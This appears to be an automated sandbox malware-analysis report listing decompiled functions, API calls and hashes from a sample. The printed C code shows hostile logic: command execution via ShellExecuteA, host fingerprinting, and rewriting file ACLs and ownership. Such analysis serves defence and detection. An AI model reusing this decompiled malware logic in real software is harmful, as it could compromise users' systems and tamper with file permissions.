Uniqueness

Uniqueness Score: -1.00%

Function 0041BA8A, Relevance: 4.6, APIs: 3, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0041BC19
_memset.LIBCMT ref: 0041BC36
_memset.LIBCMT ref: 0041BC51

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f65a365a85970408d5a9747535712d21f841d260cafc316947d6d2c545627dab
Instruction ID: b15f21bbe42a7a9b7aaeed69cb29d597b0a18fa42606d0827091abfc0dd71f94
Opcode Fuzzy Hash: f65a365a85970408d5a9747535712d21f841d260cafc316947d6d2c545627dab
Instruction Fuzzy Hash: BE513CB4A04208CFCB04CF54DA94BD9B7F1FB48304F248299E9156B391C779AE81CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B88F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 0041B889

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 1b3391b1111ce43ef332bca7d5debe75813bf226838765a4c925359d5e88da73
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: 150119B1A00109EBDB04EF94D981BEB73B8EB48704F10855AFC0987240D338EE92DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00406E36, Relevance: 3.1, APIs: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406E36(intOrPtr _a4, intOrPtr _a8) {
				long _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				intOrPtr _v60;
				intOrPtr _v76;
				void _v84;
				short _v340;
				short _v860;
				int _t20;
				int _t28;
				intOrPtr _t30;
				signed int _t31;
				signed int _t32;

				_t32 = _t31 | 0xffffffff;
				_v8 = 0x104;
				_t20 = GetUserNameW( &_v860,  &_v8); // executed
				if(_t20 != 0) {
					_v8 = 0x7c;
					_v12 = 0x80;
					_t28 = LookupAccountNameW(0,  &_v860,  &_v84,  &_v8,  &_v340,  &_v12,  &_v16); // executed
					if(_t28 != 0) {
						if(_v8 < 0xc || _v76 != _a4) {
							L8:
							_t32 = 1;
						} else {
							_t30 = _a8;
							if(_t30 == 0 || _v8 >= 0x1c && _v60 == _t30) {
								_t32 = 0;
							} else {
								goto L8;
							}
						}
					}
				}
				return _t32;
			}

0x00406e4b
0x00406e4e
0x00406e55
0x00406e5d
0x00406e7f
0x00406e86
0x00406e8d
0x00406e95
0x00406e9b
0x00406ebb
0x00406ebd
0x00406ea5
0x00406ea5
0x00406eaa
0x00406eb7
0x00000000
0x00000000
0x00000000
0x00406eaa
0x00406e9b
0x00406e95
0x00406ec2

APIs

GetUserNameW.ADVAPI32(?,00401FA1), ref: 00406E55
LookupAccountNameW.ADVAPI32(00000000,?,?,00000104,?,00000000,00000012), ref: 00406E8D

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Name$AccountLookupUser
String ID:
API String ID: 2370142434-0
Opcode ID: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction ID: d69833bf2c7126fc9b7bd4b1d5117f4fe90a033eeaed535c4400ab00b2689cfd
Opcode Fuzzy Hash: 72898ebcb6f81f1198030622a9bf6313c93c94cde1355ae2af79125b690e915f
Instruction Fuzzy Hash: 0211F776900218EBDF21CFD4C884ADFB7BCAB04741F1542B6E502F6290DB749B989BE4

Uniqueness

Uniqueness Score: -1.00%

Function 00419AA6, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A35B,?,?,?,0041B6B5,00400000,00000000,?,0000000A), ref: 00419B07
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A35B,?,?,?,0041B6B5,00400000,00000000,?,0000000A), ref: 00419B86

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction ID: 2fcbfe794da57f3ecd4e0552fa92b34eae4c3e2dade8687ecbbc7c313487ee15
Opcode Fuzzy Hash: de344d4a080e56a9ded67bdb0626d509b2d0f64f8a775e90f202a3e662c71461
Instruction Fuzzy Hash: DC211A6854C7C0C9E302A738EE187453E969323769F1841A991951A2B2C7FB21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 004293F6, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 00429405

Part of subcall function 004263B0: ___crtCorExitProcess.LIBCMTD ref: 004263B9

RtlAllocateHeap.NTDLL(0055B03C,00000000,00000001), ref: 00429438

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: e2fcfb614bd5b882e971da83f7ebbe871fb37b7090ce55e9d281137da18ce774
Instruction ID: 9684a5d98bc872a29908e4f743d1438c8dcd646d081d2b930cee10ad64f802b6
Opcode Fuzzy Hash: e2fcfb614bd5b882e971da83f7ebbe871fb37b7090ce55e9d281137da18ce774
Instruction Fuzzy Hash: EEE0D874B04314EBEF14EF50F84AB7A3774EB10319F50406EE90609291D775AD86D79B

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x4f99c6ba
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x4f99c6ba
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32 ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 0000001A.00000002.436435976.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.436466350.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_85ED.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00823DF1, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00823E39

Memory Dump Source

Source File: 0000001A.00000002.436812592.0000000000821000.00000040.00000001.sdmp, Offset: 00821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_821000_85ED.jbxd

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: c67218efd70681b5b3d62a63f235a3f891908168b78be9c490fdeb44a25d8129
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D0F062351007246BD7203AF9B89DB6E76E8FF49724F110528E682D14C0DB74ED8946A1

Uniqueness

Uniqueness Score: -1.00%

Function 00426B14, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 00426B2B
__nh_malloc_dbg.LIBCMTD ref: 00426C57

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: 8f449c448f9c673f854357c76727f7386c0080d39fe14f26e29359d1f9b71cb4
Instruction ID: d34ce16941d286aef34802fd3049bdd223b19503ee7213aaf570cdd69c210b7e
Opcode Fuzzy Hash: 8f449c448f9c673f854357c76727f7386c0080d39fe14f26e29359d1f9b71cb4
Instruction Fuzzy Hash: 54E026B1F84318AAEB308B65B803758B720E744734F60832FE635762C1DB7900008F08

Uniqueness

Uniqueness Score: -1.00%

Function 004245C0, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 004245C7

Part of subcall function 004244F0: __crt_wait_module_handle.LIBCMTD ref: 0042453C
Part of subcall function 004244F0: RtlEncodePointer.NTDLL(?), ref: 00424577

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction ID: eb555599c61f6d2ab57d5448cb009a10a3edc56ba74d06e83ba7fb2943be60ee
Opcode Fuzzy Hash: f00befe9f6ce37f0a9e0ee05923ac5330ac6df44ba7645856ef0dc2498812e42
Instruction Fuzzy Hash: E4A0126254420823D40030833803B12350C83D063CE490021F50C051422882B41040A7

Uniqueness

Uniqueness Score: -1.00%

Function 0041B530, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B535

Part of subcall function 0041B550: _check_managed_app.LIBCMTD ref: 0041B5CC
Part of subcall function 0041B550: __heap_init.LIBCMTD ref: 0041B5D6
Part of subcall function 0041B550: _fast_error_exit.LIBCMTD ref: 0041B5E4
Part of subcall function 0041B550: __mtinit.LIBCMTD ref: 0041B5EC
Part of subcall function 0041B550: _fast_error_exit.LIBCMTD ref: 0041B5F7
Part of subcall function 0041B550: __RTC_Initialize.LIBCMTD ref: 0041B609
Part of subcall function 0041B550: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B632
Part of subcall function 0041B550: ___wsetargv.LIBCMTD ref: 0041B63C
Part of subcall function 0041B550: __wsetenvp.LIBCMTD ref: 0041B64F
Part of subcall function 0041B550: __cinit.LIBCMTD ref: 0041B664
Part of subcall function 0041B550: __wwincmdln.LIBCMTD ref: 0041B681

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction ID: df3204091c1a94d21254fa6871edb4bf323263edb9dfa17b988e5f38881603f6
Opcode Fuzzy Hash: 9286cf20ad67601d5e441a48ba3af05b32bf4136b755c0c88e723378bc028be7
Instruction Fuzzy Hash: 15A0023254566D2B055133EB340795E764E88C472E7DA405FB51C265033D5DB99144EE

Uniqueness

Uniqueness Score: -1.00%

Function 00823AB0, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00823B01

Memory Dump Source

Source File: 0000001A.00000002.436812592.0000000000821000.00000040.00000001.sdmp, Offset: 00821000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_821000_85ED.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d641789b3c5ab64e854927cd4d0ed002b02fa93fafe7a3262e259d55a37785a0
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 82113979A00208EFDB01DF98C985E98BBF5EF08351F0580A5F9489B362D375EA90DF81

Uniqueness

Uniqueness Score: -1.00%

Function 00419B8E, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,0041A143,?,?,?,?,0041B6B5,00400000,00000000,?,0000000A), ref: 00419B96

Memory Dump Source

Source File: 0000001A.00000002.436479044.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_415000_85ED.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction ID: e90401dc1b2c122d05c12a740f464d47e5f9c7e426064232dd3deca42c89b7c0
Opcode Fuzzy Hash: 6fec0e689d3f75d0cf133372ec6c0fd81cf55a127dd1543188ecb931b9ef2b46
Instruction Fuzzy Hash: 03B011F000A3008BCB020FA0AE08B803BA2B308B23F000222E300A02B2CBB20000AB0A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
				void* _t155;
				void* _t156;

				_t141 = 0;
				_v28 = 0;
				_v20 = 0;
				_v36 = 0x80;
				if(GetUserNameA( &_v384,  &_v36) == 0) {
					L42:
					return _v28;
				}
				_v32 = 0x44;
				_v40 = 0x80;
				if(LookupAccountNameA(0,  &_v384,  &_v128,  &_v32,  &_v512,  &_v40,  &_v56) == 0) {
					goto L42;
				}
				_v32 = GetLengthSid( &_v128);
				_v44 = 0x400;
				if(GetFileSecurityA(_a4, 5,  &_v1536, 0x400,  &_v44) == 0) {
					goto L42;
				} else {
					if(GetSecurityDescriptorOwner( &_v1536,  &_v16,  &_v48) != 0) {
						_v36 = 0x80;
						_v40 = 0x80;
						if(EqualSid( &_v128, _v16) == 0) {
							_v28 = 1;
							_t155 = LocalAlloc(0x40, 0x14);
							if(_t155 != 0) {
								LocalFree(_t155);
							}
						}
					}
					_v24 = _t141;
					if(GetSecurityDescriptorDacl( &_v1536,  &_v60,  &_v20,  &_v52) == 0) {
						L41:
						goto L42;
					}
					_t110 = _v20;
					if(_t110 == _t141) {
						goto L41;
					}
					_v8 = _v8 & _t141;
					if(0 >= _t110->AceCount) {
						goto L41;
					} else {
						goto L13;
					}
					do {
						L13:
						if(GetAce(_t110, _v8,  &_v12) == 0) {
							L32:
							_v8 = _v8 + 1;
							goto L33;
						}
						_t153 = 0;
						_v16 = _v12 + 8;
						if(_t141 <= 0) {
							L19:
							if(_t141 < 0x20) {
								 *((intOrPtr*)(_t156 + _t141 * 4 - 0xfc)) = _v16;
								_t141 = _t141 + 1;
							}
							_t120 = EqualSid( &_v128, _v16);
							_t146 = _v12;
							if(_t120 == 0) {
								_t121 = 0x1200a8;
							} else {
								asm("sbb eax, eax");
								_t121 = ( ~_a8 & 0x00090046) + 0x1601b9;
							}
							if( *((intOrPtr*)(_t146 + 4)) != _t121) {
								 *((intOrPtr*)(_t146 + 4)) = _t121;
								_t146 = _v12;
								_v24 = 1;
							}
							if( *_t146 != 0 || ( *(_t146 + 1) & 0x00000010) != 0) {
								 *_t146 = 0;
								_t66 = _v16 + 8; // 0xc8685f74
								_t123 =  *_t66;
								if(_t123 != 0) {
									 *((char*)(_v12 + 1)) = (_t123 & 0xffffff00 | _t123 - 0x00000050 > 0x00000000) + 2;
								} else {
									 *((char*)(_v12 + 1)) = 0xb;
								}
								_v24 = 1;
							}
							goto L32;
						}
						while(EqualSid( *(_t156 + _t153 * 4 - 0xfc), _v16) == 0) {
							_t153 = _t153 + 1;
							if(_t153 < _t141) {
								continue;
							}
							break;
						}
						if(_t153 >= _t141) {
							goto L19;
						}
						DeleteAce(_v20, _v8);
						_v24 = 1;
						L33:
						_t110 = _v20;
					} while (_v8 < (_t110->AceCount & 0x0000ffff));
					if(_v24 != 0) {
						_v28 = 1;
						_t154 = LocalAlloc(0x40, 0x14);
						if(_t154 != 0) {
							if(InitializeSecurityDescriptor(_t154, 1) != 0 && SetSecurityDescriptorDacl(_t154, 1, _v20, 0) != 0 && SetFileSecurityA(_a4, 4, _t154) != 0) {
								_v28 = 1;
							}
							LocalFree(_t154);
						}
					}
					goto L41;
				}
			}

0x0040781e
0x00407826
0x00407829
0x0040782c
0x00407837
0x00407a8e
0x00407a94
0x00407a94
0x0040785c
0x00407863
0x0040786e
0x00000000
0x00000000
0x0040787e
0x0040788b
0x004078a2
0x00000000
0x004078a8
0x004078c3
0x004078cc
0x004078cf
0x004078da
0x004078e0
0x004078e9
0x004078ed
0x00407917
0x00407917
0x004078ed
0x004078da
0x00407930
0x0040793b
0x00407a8d
0x00000000
0x00407a8d
0x00407941
0x00407946
0x00000000
0x00000000
0x0040794c
0x00407955
0x00000000
0x00000000
0x00000000
0x00000000
0x0040795b
0x0040795b
0x0040796b
0x00407a2a
0x00407a2a
0x00000000
0x00407a2a
0x00407977
0x00407979
0x0040797e
0x004079ae
0x004079b1
0x004079b6
0x004079bd
0x004079bd
0x004079c5
0x004079cb
0x004079d0
0x004079e5
0x004079d2
0x004079d7
0x004079de
0x004079de
0x004079ed
0x004079ef
0x004079f2
0x004079f5
0x004079f5
0x004079fb
0x00407a03
0x00407a09
0x00407a09
0x00407a0e
0x00407a24
0x00407a10
0x00407a13
0x00407a13
0x00407a27
0x00407a27
0x00000000
0x004079fb
0x00407980
0x00407994
0x00407997
0x00000000
0x00000000
0x00000000
0x00407997
0x0040799b
0x00000000
0x00000000
0x004079a3
0x004079a9
0x00407a2d
0x00407a2d
0x00407a34
0x00407a41
0x00407a47
0x00407a50
0x00407a54
0x00407a60
0x00407a83
0x00407a83
0x00407a87
0x00407a87
0x00407a54
0x00000000
0x00407a41

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040782F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00407866
GetLengthSid.ADVAPI32(?), ref: 00407878
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 0040789A
GetSecurityDescriptorOwner.ADVAPI32(?,00407F63,?), ref: 004078B8
EqualSid.ADVAPI32(?,00407F63), ref: 004078D2
LocalAlloc.KERNEL32(00000040,00000014), ref: 004078E3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 004078F1
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00407901
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00407910
LocalFree.KERNEL32(00000000), ref: 00407917
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00407933
GetAce.ADVAPI32(?,00000000,?), ref: 00407963
EqualSid.ADVAPI32(?,00407F63), ref: 0040798A
DeleteAce.ADVAPI32(?,00000000), ref: 004079A3
EqualSid.ADVAPI32(?,00407F63), ref: 004079C5
LocalAlloc.KERNEL32(00000040,00000014), ref: 00407A4A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00407A58
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00407A69
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00407A79
LocalFree.KERNEL32(00000000), ref: 00407A87

Strings

